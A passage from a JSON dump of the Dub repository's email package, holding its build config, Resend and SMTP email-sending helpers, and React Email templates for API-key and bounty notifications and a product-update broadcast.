    "content": "import { defineConfig } from \"tsup\";\n\nexport default defineConfig({\n  clean: true,\n  dts: true,\n  entry: [\"src/index.ts\"],\n  format: [\"esm\"],\n  sourcemap: true,\n  minify: true,\n  target: \"esnext\",\n  outDir: \"dist\",\n});\n"
  },
  {
    "path": "packages/email/package.json",
    "content": "{\n  \"name\": \"@dub/email\",\n  \"version\": \"0.0.1\",\n  \"private\": true,\n  \"main\": \"./src/index.ts\",\n  \"scripts\": {\n    \"clean\": \"rm -rf .turbo node_modules\",\n    \"dev\": \"email dev --dir ./src/templates -p 3333\"\n  },\n  \"dependencies\": {\n    \"@dub/utils\": \"workspace:*\",\n    \"@react-email/components\": \"^1.0.8\",\n    \"@react-email/markdown\": \"^0.0.18\",\n    \"@react-email/render\": \"^2.0.4\",\n    \"date-fns\": \"^4.1.0\",\n    \"lucide-react\": \"^0.462.0\",\n    \"nodemailer\": \"^6.9.3\",\n    \"react-email\": \"^5.2.8\",\n    \"resend\": \"6.6.0\"\n  },\n  \"devDependencies\": {\n    \"@types/nodemailer\": \"~6.4.17\",\n    \"@types/react\": \"^19.1.15\",\n    \"@types/react-dom\": \"^19.1.9\",\n    \"typescript\": \"^5.4.4\",\n    \"@react-email/preview-server\": \"5.2.8\",\n    \"esbuild\": \"0.25.10\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"exports\": {\n    \".\": {\n      \"import\": \"./src/index.ts\",\n      \"require\": \"./src/index.ts\"\n    },\n    \"./templates/*\": {\n      \"import\": \"./src/templates/*.tsx\",\n      \"require\": \"./src/templates/*.tsx\"\n    },\n    \"./resend\": {\n      \"import\": \"./src/resend/index.ts\",\n      \"require\": \"./src/resend/index.ts\"\n    },\n    \"./resend/*\": {\n      \"import\": \"./src/resend/*.ts\",\n      \"require\": \"./src/resend/*.ts\"\n    },\n    \"./send-via-nodemailer\": {\n      \"import\": \"./src/send-via-nodemailer.ts\",\n      \"require\": \"./src/send-via-nodemailer.ts\"\n    }\n  }\n}\n"
  },
  {
    "path": "packages/email/src/components/bounty-thumbnail.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function BountyThumbnailImage({\n  type,\n  className,\n}: {\n  type: \"performance\" | \"submission\";\n  className?: string;\n}) {\n  return (\n    <img\n      {...(type === \"performance\"\n        ? {\n            src: \"https://assets.dub.co/icons/trophy.png\",\n            alt: \"Trophy thumbnail\",\n          }\n        : {\n            src: \"https://assets.dub.co/icons/heart.png\",\n            alt: \"Heart thumbnail\",\n          })}\n      width={118}\n      height={118}\n      className={cn(\"mx-auto my-auto object-contain\", className)}\n      style={{\n        display: \"block\",\n        margin: \"0 auto\",\n        maxWidth: \"118px\",\n        maxHeight: \"118px\",\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/email/src/components/footer.tsx",
    "content": "import { Hr, Link, Tailwind, Text } from \"@react-email/components\";\n\nexport function Footer({\n  email,\n  marketing,\n  unsubscribeUrl = \"https://app.dub.co/account/settings\",\n  notificationSettingsUrl,\n}: {\n  email: string;\n  marketing?: boolean;\n  unsubscribeUrl?: string;\n  notificationSettingsUrl?: string;\n}) {\n  return (\n    <Tailwind>\n      <Hr className=\"mx-0 my-6 w-full border border-neutral-200\" />\n      <Text className=\"text-[12px] leading-6 text-neutral-500\">\n        This email was intended for <span className=\"text-black\">{email}</span>.\n        If you were not expecting this email, you can ignore this email. If you\n        are concerned about your account's safety, please{\" \"}\n        <Link\n          className=\"text-neutral-700 underline\"\n          href=\"https://dub.co/support\"\n        >\n          reach out to let us know\n        </Link>\n        .\n      </Text>\n\n      {(marketing || notificationSettingsUrl) && (\n        <Text className=\"text-[12px] leading-6 text-neutral-500\">\n          Don't want to get these emails?{\" \"}\n          <Link\n            className=\"text-neutral-700 underline\"\n            href={marketing ? unsubscribeUrl : notificationSettingsUrl}\n          >\n            {marketing\n              ? \"Manage your email preferences\"\n              : \"Adjust your notification settings\"}\n          </Link>\n        </Text>\n      )}\n      <Text className=\"text-[12px] text-neutral-500\">\n        Dub Technologies, Inc.\n        <br />\n        2261 Market Street STE 5906\n        <br />\n        San Francisco, CA 941114\n      </Text>\n    </Tailwind>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/index.ts",
    "content": "import { resend } from \"./resend\";\nimport { ResendBulkEmailOptions, ResendEmailOptions } from \"./resend/types\";\nimport { sendViaNodeMailer } from \"./send-via-nodemailer\";\nimport { sendBatchEmailViaResend, sendEmailViaResend } from \"./send-via-resend\";\n\nexport const sendEmail = async (opts: ResendEmailOptions) => {\n  if (resend) {\n    return await sendEmailViaResend(opts);\n  }\n\n  // Fallback to SMTP if Resend is not configured\n  const smtpConfigured = Boolean(\n    process.env.SMTP_HOST && process.env.SMTP_PORT,\n  );\n\n  if (smtpConfigured) {\n    const { to, subject, text, react } = opts;\n    return await sendViaNodeMailer({\n      to,\n      subject,\n      text,\n      react,\n    });\n  }\n\n  console.info(\n    \"Email sending failed: Neither SMTP nor Resend is configured. Please set up at least one email service to send emails.\",\n  );\n};\n\nexport const sendBatchEmail = async (\n  emails: ResendBulkEmailOptions,\n  options?: { idempotencyKey?: string },\n) => {\n  if (resend) {\n    return await sendBatchEmailViaResend(emails, options);\n  }\n\n  // Fallback to SMTP if Resend is not configured\n  const smtpConfigured = Boolean(\n    process.env.SMTP_HOST && process.env.SMTP_PORT,\n  );\n\n  if (smtpConfigured) {\n    await Promise.all(\n      emails.map((p) =>\n        sendViaNodeMailer({\n          to: p.to,\n          subject: p.subject,\n          text: p.text,\n          react: p.react,\n        }),\n      ),\n    );\n\n    return {\n      data: null,\n      error: null,\n    };\n  }\n\n  console.info(\n    \"Email sending failed: Neither SMTP nor Resend is configured. Please set up at least one email service to send emails.\",\n  );\n\n  return {\n    data: null,\n    error: null,\n  };\n};\n"
  },
  {
    "path": "packages/email/src/react-email.d.ts",
    "content": "declare module \"@react-email/components\" {\n  import * as React from \"react\";\n\n  export const Html: React.FC<React.HtmlHTMLAttributes<HTMLHtmlElement>>;\n  export const Head: React.FC<React.HTMLAttributes<HTMLHeadElement>>;\n  export const Body: React.FC<React.HTMLAttributes<HTMLBodyElement>>;\n  export const Container: React.FC<React.TableHTMLAttributes<HTMLTableElement>>;\n  export const Section: React.FC<React.TableHTMLAttributes<HTMLTableElement>>;\n  export const Row: React.FC<React.HTMLAttributes<HTMLTableRowElement>>;\n  export const Column: React.FC<\n    React.TdHTMLAttributes<HTMLTableDataCellElement>\n  >;\n  export const Img: React.FC<React.ImgHTMLAttributes<HTMLImageElement>>;\n  export const Link: React.FC<React.AnchorHTMLAttributes<HTMLAnchorElement>>;\n  export const Text: React.FC<React.HTMLAttributes<HTMLParagraphElement>>;\n  export const Heading: React.FC<React.HTMLAttributes<HTMLHeadingElement>>;\n  export const Hr: React.FC<React.HTMLAttributes<HTMLHRElement>>;\n  export const Preview: React.FC<{ children: React.ReactNode }>;\n  export const Tailwind: React.FC<{ children: React.ReactNode }>;\n}\n"
  },
  {
    "path": "packages/email/src/resend/client.ts",
    "content": "import { Resend } from \"resend\";\n\nexport const resend = process.env.RESEND_API_KEY\n  ? new Resend(process.env.RESEND_API_KEY)\n  : null;\n"
  },
  {
    "path": "packages/email/src/resend/constants.ts",
    "content": "export const RESEND_AUDIENCE_ID = \"f5ff0661-4234-43f6-b0ca-a3f3682934e3\";\n\nexport const VARIANT_TO_FROM_MAP = {\n  primary: \"Dub.co <system@dub.co>\",\n  notifications: \"Dub.co <notifications@mail.dub.co>\",\n  marketing: \"Steven from Dub.co <steven@ship.dub.co>\",\n};\n"
  },
  {
    "path": "packages/email/src/resend/index.ts",
    "content": "export * from \"./client\";\n"
  },
  {
    "path": "packages/email/src/resend/types.ts",
    "content": "import { CreateEmailOptions } from \"resend\";\n\nexport interface ResendEmailOptions\n  extends Omit<CreateEmailOptions, \"to\" | \"from\"> {\n  to: string;\n  from?: string;\n  variant?: \"primary\" | \"notifications\" | \"marketing\";\n  unsubscribeUrl?: string; // Custom unsubscribe URL for List-Unsubscribe header\n}\n\nexport type ResendBulkEmailOptions = ResendEmailOptions[];\n\nexport type { GetDomainResponseSuccess } from \"resend\";\n"
  },
  {
    "path": "packages/email/src/send-via-nodemailer.ts",
    "content": "import { pretty, render } from \"@react-email/render\";\nimport nodemailer from \"nodemailer\";\nimport { CreateEmailOptions } from \"resend\";\n\n// Send email using NodeMailer (Recommended for local development)\nexport const sendViaNodeMailer = async ({\n  to,\n  subject,\n  text,\n  react,\n}: Pick<CreateEmailOptions, \"subject\" | \"text\" | \"react\"> & {\n  to: string;\n}) => {\n  const transporter = nodemailer.createTransport({\n    // @ts-ignore (Fix this)\n    host: process.env.SMTP_HOST,\n    port: process.env.SMTP_PORT,\n    auth: {\n      user: process.env.SMTP_USER,\n      pass: process.env.SMTP_PASSWORD,\n    },\n    secure: false,\n    tls: {\n      rejectUnauthorized: false,\n    },\n  });\n\n  return await transporter.sendMail({\n    from: \"noreply@example.com\",\n    to,\n    subject,\n    text,\n    html: await pretty(await render(react)),\n  });\n};\n"
  },
  {
    "path": "packages/email/src/send-via-resend.ts",
    "content": "import type { CreateEmailOptions } from \"resend\";\nimport { resend } from \"./resend\";\nimport { VARIANT_TO_FROM_MAP } from \"./resend/constants\";\nimport { ResendBulkEmailOptions, ResendEmailOptions } from \"./resend/types\";\n\nconst resendEmailForOptions = (\n  opts: ResendEmailOptions,\n): CreateEmailOptions => {\n  const {\n    to,\n    from,\n    variant = \"primary\",\n    bcc,\n    replyTo,\n    subject,\n    text,\n    react,\n    scheduledAt,\n    headers,\n    tags,\n    unsubscribeUrl,\n  } = opts;\n\n  const isProdEnv = process.env.VERCEL_ENV === \"production\";\n  const gitBranch = process.env.VERCEL_GIT_COMMIT_REF;\n\n  // Build base options without rendered outputs (react/text)\n  // CreateEmailOptions requires at least one of react or text\n  const baseOptions = {\n    to: isProdEnv ? to : \"delivered@resend.dev\",\n    from: from || VARIANT_TO_FROM_MAP[variant],\n    subject: `${!isProdEnv && gitBranch ? `[${gitBranch}] ` : \"\"}${subject}`,\n    bcc,\n    // if replyTo is set to \"noreply@dub.co\", don't set replyTo\n    // else set it to the value of replyTo or fallback to support@dub.co\n    ...(replyTo === \"noreply\" ? {} : { replyTo: replyTo || \"support@dub.co\" }),\n    scheduledAt,\n    tags,\n    ...(variant === \"marketing\"\n      ? {\n          headers: {\n            ...(headers || {}),\n            \"List-Unsubscribe\":\n              unsubscribeUrl || \"https://app.dub.co/account/settings\",\n          },\n        }\n      : headers && { headers }),\n  };\n\n  // Add render options (react or text) - at least one must be present\n  if (react) {\n    return { ...baseOptions, react };\n  }\n  if (text) {\n    return { ...baseOptions, text };\n  }\n  // If none of react or text is provided, we need to ensure at least one is present\n  // This shouldn't happen in practice, but we'll default to an empty text\n  return { ...baseOptions, text: \"\" };\n};\n\n// Send email using Resend (Recommended for production)\nexport const sendEmailViaResend = async (opts: ResendEmailOptions) => {\n  if (!resend) {\n    console.info(\n      \"RESEND_API_KEY is not set in the .env. Skipping sending email.\",\n    );\n    return;\n  }\n\n  return await resend.emails.send(resendEmailForOptions(opts));\n};\n\nexport const sendBatchEmailViaResend = async (\n  emails: ResendBulkEmailOptions,\n  options?: { idempotencyKey?: string },\n) => {\n  if (!resend) {\n    console.info(\n      \"RESEND_API_KEY is not set in the .env. Skipping sending email.\",\n    );\n\n    return {\n      data: null,\n      error: null,\n    };\n  }\n\n  if (emails.length === 0) {\n    return {\n      data: null,\n      error: null,\n    };\n  }\n\n  // Filter out emails without to address\n  // and format the emails for Resend\n  const filteredBatch = emails.reduce(\n    (acc, email) => {\n      if (!email?.to) {\n        return acc;\n      }\n\n      acc.push(resendEmailForOptions(email));\n\n      return acc;\n    },\n    [] as ReturnType<typeof resendEmailForOptions>[],\n  );\n\n  if (filteredBatch.length === 0) {\n    return {\n      data: null,\n      error: null,\n    };\n  }\n\n  const idempotencyKey = options?.idempotencyKey || undefined;\n\n  return await resend.batch.send(\n    filteredBatch,\n    idempotencyKey ? { idempotencyKey } : undefined,\n  );\n};\n"
  },
  {
    "path": "packages/email/src/templates/api-key-created.tsx",
    "content": "import { DUB_WORDMARK, formatDate } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function APIKeyCreated({\n  email = \"panic@thedis.co\",\n  workspace = {\n    name: \"Acme, Inc\",\n    slug: \"acme\",\n  },\n  token = {\n    name: \"Acme API Key\",\n    type: \"All access\",\n    permissions: \"full access to all resources\",\n  },\n}: {\n  email: string;\n  workspace: {\n    name: string;\n    slug: string;\n  };\n  token: {\n    name: string;\n    type: string;\n    permissions: string;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>New Workspace API Key Created</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-6 p-0 text-lg font-medium text-black\">\n              New Workspace API Key Created\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              You've created a new API key for your Dub workspace{\" \"}\n              <strong>{workspace.name}</strong> with the name{\" \"}\n              <strong>\"{token.name}\"</strong> on{\" \"}\n              {formatDate(new Date().toString())}.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              Since this is a <strong>{token.type}</strong> token, it has{\" \"}\n              {token.permissions}.\n            </Text>\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspace.slug}/settings/tokens`}\n              >\n                View API Keys\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              If you did not create this API key, you can{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/settings/tokens`}\n                className=\"text-black underline\"\n              >\n                <strong>delete this key</strong>\n              </Link>{\" \"}\n              from your account.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/bounty-approved.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { BountyThumbnailImage } from \"../components/bounty-thumbnail\";\nimport { Footer } from \"../components/footer\";\n\nexport default function BountyApproved({\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n  bounty = {\n    name: \"Promote Acme at your campus and earn $500 \",\n    type: \"performance\",\n  },\n  email = \"panic@thedis.co\",\n}: {\n  program: {\n    slug: string;\n    name: string;\n  };\n  bounty: {\n    name: string;\n    type: \"performance\" | \"submission\";\n  };\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Bounty confirmed</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-8 p-0 text-lg font-medium text-black\">\n              Bounty confirmed for <strong>{program.name}</strong>\n            </Heading>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              Good news: Your bounty submission for{\" \"}\n              <strong>{bounty.name}</strong> has been confirmed.\n            </Text>\n\n            <Section className=\"h-[140px] rounded-lg bg-neutral-100 py-1.5 text-center\">\n              <BountyThumbnailImage type={bounty.type} />\n            </Section>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              The commission from the bounty has been added to your upcoming\n              payout, and will be sent to your bank account when{\" \"}\n              <strong>{program.name}</strong> processes their next payout.\n            </Text>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              If you have any questions about the program please don’t hesitate\n              to{\" \"}\n              <Link\n                href={`https://partners.dub.co/messages/${program.slug}`}\n                className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n              >\n                reach out to the {program.name} team ↗\n              </Link>\n              .\n            </Text>\n\n            <Section className=\"mb-10 mt-6\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-6 py-3 text-[13px] font-medium text-white no-underline\"\n                href={`https://partners.dub.co/payouts`}\n              >\n                Go to your payouts\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/bounty-completed.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { BountyThumbnailImage } from \"../components/bounty-thumbnail\";\nimport { Footer } from \"../components/footer\";\n\nexport default function BountyCompleted({\n  bounty = {\n    name: \"Promote Acme at your campus and earn $500 \",\n    type: \"submission\",\n  },\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n  email = \"panic@thedis.co\",\n}: {\n  bounty: {\n    name: string;\n    type: \"performance\" | \"submission\";\n  };\n  program: {\n    name: string;\n    slug: string;\n  };\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Bounty completed</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-8 p-0 text-lg font-medium text-black\">\n              Bounty completed for <strong>{program.name}</strong>\n            </Heading>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              Congratulations on completing the <strong>{bounty.name}</strong>{\" \"}\n              bounty for <strong>{program.name}</strong>!\n            </Text>\n\n            <Section className=\"h-[140px] rounded-lg bg-neutral-100 py-1.5 text-center\">\n              <BountyThumbnailImage type={bounty.type} />\n            </Section>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              What happens next? <strong>{program.name}</strong> will review\n              your bounty submission. After their approval, you will receive an\n              email with the commission details.\n            </Text>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              If you have any questions, please don't hesitate to{\" \"}\n              <Link\n                href={`https://partners.dub.co/messages/${program.slug}`}\n                className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n              >\n                reach out to the {program.name} team ↗\n              </Link>\n              .\n            </Text>\n\n            <Section className=\"mb-10 mt-6\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-6 py-3 text-[13px] font-medium text-white no-underline\"\n                href={`https://partners.dub.co/programs/${program.slug}`}\n              >\n                Go to your dashboard\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/bounty-new-submission.tsx",
    "content": "import { DUB_WORDMARK, OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function NewBountySubmission({\n  workspace = {\n    slug: \"acme\",\n  },\n  bounty = {\n    id: \"bnty_1K38JQ6DAGD1HHP30T4SX9HKG\",\n    name: \"Promote Acme at your campus and earn $500 \",\n  },\n  partner = {\n    id: \"pn_1K38JQ6DAGD1HHP30T4SX9HKG\",\n    name: \"John Doe\",\n    image:\n      \"https://dubassets.com/partners/pn_H4TB2V5hDIjpqB7PwrxESoY3/image_wCBZlIJ\",\n    email: \"john.doe@example.com\",\n  },\n  submission = {\n    id: \"bnty_sub_1K38CT0YY8F5HYV5DXBX2137T\",\n  },\n  email = \"panic@thedis.co\",\n}: {\n  workspace: {\n    slug: string;\n  };\n  bounty: {\n    id: string;\n    name: string;\n  };\n  partner: {\n    id: string;\n    name: string;\n    image: string | null;\n    email: string;\n  };\n  submission: {\n    id: string;\n  };\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>New bounty submission</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 mb-5 mt-10 p-0 text-lg font-medium text-black\">\n              New bounty submission\n            </Heading>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              A bounty has been submitted for <strong>{bounty.name}</strong> and\n              requires approval.\n            </Text>\n\n            <Section className=\"mb-8 mt-6 rounded-xl border border-solid border-neutral-200 bg-neutral-50 p-5\">\n              <div className=\"flex h-10 items-center\">\n                <div className=\"relative w-fit\">\n                  <Img\n                    src={partner.image || `${OG_AVATAR_URL}${partner.id}`}\n                    width=\"32\"\n                    height=\"32\"\n                    alt={partner.id}\n                    className=\"rounded-full border border-solid border-neutral-100\"\n                  />\n                </div>\n                <div className=\"ml-4 flex-1\">\n                  <Text className=\"m-0 p-0 text-sm font-semibold text-neutral-800\">\n                    {partner.name}\n                  </Text>\n                  <Text className=\"m-0 p-0 text-sm font-medium text-neutral-500\">\n                    {partner.email}\n                  </Text>\n                </div>\n              </div>\n            </Section>\n\n            <Section className=\"mt-6 text-center\">\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/program/bounties/${bounty.id}?submissionId=${submission.id}`}\n                className=\"box-border block w-full rounded-md bg-black px-2 py-4 text-center text-sm font-medium leading-none text-white no-underline\"\n              >\n                Review bounty\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/bounty-rejected.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function BountyRejected({\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n  bounty = {\n    name: \"Promote Acme at your campus and earn $500 \",\n  },\n  submission = {\n    rejectionReason: \"Not a valid URL\",\n    rejectionNote: \"The URL is not a valid URL. Please provide a valid URL.\",\n  },\n  email = \"panic@thedis.co\",\n}: {\n  program: {\n    slug: string;\n    name: string;\n  };\n  bounty: {\n    name: string;\n  };\n  submission: {\n    rejectionReason: string;\n    rejectionNote?: string;\n  };\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Bounty rejected</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-8 p-0 text-lg font-medium text-black\">\n              Bounty rejected\n            </Heading>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              The proof you’ve submitted for the <strong>{bounty.name}</strong>{\" \"}\n              bounty has been rejected for the reason:\n            </Text>\n\n            <Section className=\"flex items-center rounded-lg border border-solid border-neutral-200 bg-neutral-100 p-4\">\n              <span className=\"text-sm font-semibold\">\n                {submission.rejectionReason}\n              </span>\n\n              {submission.rejectionNote && (\n                <>\n                  <br />\n                  <br />\n                  <span className=\"text-sm leading-5 text-neutral-600\">\n                    {submission.rejectionNote}\n                  </span>\n                </>\n              )}\n            </Section>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              You won’t be able to submit proof again for this bounty.\n            </Text>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              If you have any questions about the program please don’t hesitate\n              to{\" \"}\n              <Link\n                href={`https://partners.dub.co/messages/${program.slug}`}\n                className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n              >\n                reach out to the {program.name} team ↗\n              </Link>\n              .\n            </Text>\n\n            <Section className=\"mb-10 mt-6\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-6 py-3 text-[13px] font-medium text-white no-underline\"\n                href={`https://partners.dub.co/programs/${program.slug}`}\n              >\n                Go to your dashboard\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/bounty-submitted.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { BountyThumbnailImage } from \"../components/bounty-thumbnail\";\nimport { Footer } from \"../components/footer\";\n\nexport default function BountySubmitted({\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n  bounty = {\n    name: \"Promote Acme at your campus and earn $500\",\n  },\n  email = \"panic@thedis.co\",\n}: {\n  program: {\n    slug: string;\n    name: string;\n  };\n  bounty: {\n    name: string;\n  };\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Bounty submitted</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 my-8 p-0 text-lg font-medium text-black\">\n              Bounty submitted!\n            </Heading>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              Thanks for submitting proof for the <strong>{bounty.name}</strong>{\" \"}\n              bounty!\n            </Text>\n\n            <Section className=\"h-[140px] rounded-lg bg-neutral-100 py-1.5 text-center\">\n              <BountyThumbnailImage type=\"submission\" />\n            </Section>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              Once <strong>{program.name}</strong> has verified the submitted\n              proof, the reward will be added to your payouts.\n            </Text>\n\n            <Text className=\"text-sm leading-5 text-neutral-600\">\n              If you have any questions about the program please don’t hesitate\n              to{\" \"}\n              <Link\n                href={`https://partners.dub.co/messages/${program.slug}`}\n                className=\"font-semibold text-neutral-700 underline underline-offset-2\"\n              >\n                reach out to the {program.name} team ↗\n              </Link>\n              .\n            </Text>\n\n            <Section className=\"mb-10 mt-6\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-6 py-3 text-[13px] font-medium text-white no-underline\"\n                href={`https://partners.dub.co/programs/${program.slug}`}\n              >\n                Go to your dashboard\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/broadcasts/dub-product-update-mar26.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../../components/footer\";\n\nexport default function DubProductUpdateMar26({\n  email = \"panic@thedis.co\",\n  unsubscribeUrl = \"https://partners.dub.co/account/settings\",\n}: {\n  email: string;\n  unsubscribeUrl: string;\n}) {\n  return (\n    <Html>\n      <Head>\n        <style>{`\n          @media only screen and (max-width: 600px) {\n            .email-container {\n              padding-left: 16px !important;\n              padding-right: 16px !important;\n            }\n          }\n        `}</style>\n      </Head>\n      <Preview>\n        Social metrics bounties, stablecoin payouts, advanced filters, staggered\n        rewards, group move rules, Stripe free trials, and bulk partner invites.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"email-container mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"mt-2 text-center\">\n              <Img\n                src={DUB_WORDMARK}\n                width=\"65\"\n                height=\"32\"\n                alt=\"Dub\"\n                style={{\n                  display: \"block\",\n                  margin: \"0 auto\",\n                }}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 mb-2 mt-8 p-0 text-center text-2xl font-semibold text-black\">\n              Dub Partners Product Updates\n            </Heading>\n\n            <Text className=\"mx-auto mb-8 mt-0 max-w-sm text-center text-base leading-6 text-neutral-600\">\n              Here are some of the exciting new features that we've shipped over\n              the last few months 👇\n            </Text>\n\n            <Section className=\"mb-6\">\n              <Link\n                href=\"https://ship.dub.co/FDpw3Ar\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/cms/social-metrics-bounties.jpg\"\n                  width={560}\n                  height={320}\n                  alt=\"Social Metrics Bounties\"\n                  className=\"mb-3 w-full rounded-lg\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    borderRadius: \"8px\",\n                  }}\n                />\n              </Link>\n              <Heading className=\"mx-0 mb-2 mt-0 p-0 text-base font-semibold text-black\">\n                1. Social Metrics Bounties\n              </Heading>\n              <Text className=\"mx-0 mb-2 mt-0 text-sm 